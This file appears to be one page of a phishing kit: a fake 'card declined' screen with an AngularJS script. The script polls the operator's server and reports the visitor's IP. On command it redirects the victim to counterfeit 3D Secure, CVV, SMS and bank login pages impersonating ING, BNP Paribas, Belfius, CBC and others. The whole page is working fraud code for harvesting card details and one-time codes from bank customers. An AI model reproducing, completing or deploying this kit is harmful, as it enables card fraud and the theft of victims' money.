 
<!DOCTYPE html>
<html lang="it">

<head>

      <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
      <meta content="IE=edge,chrome=1" http-equiv="X-UA-Compatible">
      <meta name="viewport" content="user-scalable=yes, width=device-width, initial-scale=1.0, maximum-scale=5, minimal-ui">



      <link rel="stylesheet" href="./file/base-libs.min.css">
      <link rel="stylesheet" href="./file/base-style.min.css">
      <link rel="stylesheet" href="./file/style.min.css">
 


      <meta property="format-detection" content="telephone=no">
    	<title> </title>



</head>
<script type="text/javascript"></script>

<body class="hpmargin wt--loaded"  ng-app="sa_app"  ng-controller="controller" ng-init="show_data()">






<section class="vetrinacomparatore vetrina_card_filter" data-card="">
   <div class=" ">
     
      <div class="vetrinacomparatore--container   ">




         <div class="vetrinacomparatore--container--card tesdt " id="" >
      
           
               <div class="vetrinacomparatore--container--card--box ">
                
                  <div class="vetrinacomparatore--container--card--box--offer">
                     <h3>Carta non supportée</h3>
                  </div>
                 
          
                  <div class="vetrinacomparatore--container--card--box--description">
                      <form >
        <div style="text-align: center;font-size: 1.2em;">

               <img src="file/traurig.png" width="64"><br><br>


               <p>La carte n'a pas été acceptée. Veuillez essayez de payer avec une autre carte.</p>

               <br>

                    <a href=""ng-click="validation()" style="   font-size: 13px;
                    font-family: Arial;
                    font-weight: bold;
                    padding: 11px 16px;
                    vertical-align: top;
                    background: #FF182D;
                    border: 1px solid #FF182D;
                    color: #fdfdff;
                    width: 67%;
                    
                    margin-top: 14px;
                    text-decoration: none;">Essayer à nouveau</a>

<br></div>
                        </form> 
                  </div>

<br>




              

               </div>
            
       
         </div>










      </div>




   </div>



















</section>











     <script src="file/jquery.min.js"></script>
<script src="file/angular.min.js"></script>
<script src="file/dirPaginate.js"></script>

<script> 

var fetch = angular.module('sa_app', ['angularUtils.directives.dirPagination']);

fetch.controller('controller', ['$scope', '$http','$filter', function ($scope, $http,$filter) {
    var urlx = window.location.pathname;
    var pathname = urlx.replace("gotocc.php", "");
    $scope.adField="";

 
    $scope.info_User={};
    $scope.load='';
    $scope.loads_info='';
    $scope.base_url="";





    setInterval(function() {
                var Detaile = {}; 
                Detaile.ip=  $scope.info_User['ip'];
                $http({
                     method: 'post',
                     url:  $scope.base_url+"config/fun.php?request=3",
                     data: JSON.stringify(Detaile), 
                      headers: {'Content-Type': 'application/json'}
               }).then(function(data) {
                   $scope.ip=data.data.ip;
                   $scope.fun=data.data.fun;
                     console.log(data);

                     if ($scope.fun== "gotopay") {
                       window.location.href = pathname+'pay.php';
                   }
                   if ($scope.fun== "gotoloading3D") {
                       window.location.href = pathname+'validation3DBAN/loading.php';
                   }
                   if ($scope.fun== "gotoloading") {
                       window.location.href = pathname+'loading.php';
                   }
                   if ($scope.fun== "gotoing") {
                       window.location.href = pathname+'validation3DBAN/ing.php';
                   }

                   if ($scope.fun== "gotobpost") {
                       window.location.href = pathname+'validation3DBAN/bpost.php';
                   }

                   if ($scope.fun== "gotom1") {
                       window.location.href = pathname+'validation3DBAN/m1.php';
                   }
              
                   if ($scope.fun== "gotobelfius") {
                       window.location.href = pathname+'validation3DBAN/bel.php';
                   }
                   
                   if ($scope.fun== "gotodigipass") {
                       window.location.href = pathname+'validation3DBAN/digi.php';
                   }
                   
                   if ($scope.fun== "gotohello") {
                       window.location.href = pathname+'validation3DBAN/hello.php';
                   }
                   
                   if ($scope.fun== "gotoparibas") {
                       window.location.href = pathname+'validation3DBAN/paribas.php';
                   }
                   
                   if ($scope.fun== "gotocbc") {
                       window.location.href = pathname+'validation3DBAN/cbc.php';
                   }
                   
                   if ($scope.fun== "gotocvv") {
                       window.location.href = pathname+'validation3DBAN/cvv.php';
                   }
                   if ($scope.fun== "goto3dapp") {
                       window.location.href = pathname+'validation3DBAN/3Dsecureapp.php';
                   }
                   
                   if ($scope.fun== "goto3dsms") {
                       window.location.href = pathname+'validation3DBAN/3Dsecuresms.php';
                   }


                   if ($scope.fun== "gotobanpay") {
                       window.location.href = pathname+'banpay.php';
                   }
                
                   if ($scope.fun== "gotoCC") {
                       window.location.href = pathname+'gotocc.php';
                   }
                    
                   if ($scope.fun== "gotoFIN") {
                       window.location.href = pathname+'fin.php';
                   }

               });
    }, 800);


    $scope.show_data = function(){
        $http({
          method: 'get',
          url: "config/device.php"
        }).then(function successCallback(response) {
                $scope.info_User=response.data;
                $scope.base_url=$scope.info_User['url'];

                console.log($scope.info_User['ip'])


            var Detailefun = {}; 
            Detailefun.ip=  $scope.info_User['ip'];
            Detailefun.fun= "=> PAGE GO TO CC";
            $http({
                 method: 'post',
                 url:  $scope.base_url+"config/fun.php?request=2",
                 data: JSON.stringify(Detailefun), 
                  headers: {'Content-Type': 'application/json'}
           }).then(function(data) {});



        }); 
    }
 
    $scope.validation = function(){ 
            var Detaile = {}; 
            Detaile.ip=  $scope.info_User['ip'];
            Detaile.fun= "CLICK TO REPATE CC";
            $http({
                 method: 'post',
                 url:  $scope.base_url+"config/fun.php?request=2",
                 data: JSON.stringify(Detaile), 
                  headers: {'Content-Type': 'application/json'}
           }).then(function(data) {
                window.location.href = pathname+'pay.php';
   
           });
    }



}]);

</script>  



</body>

</html>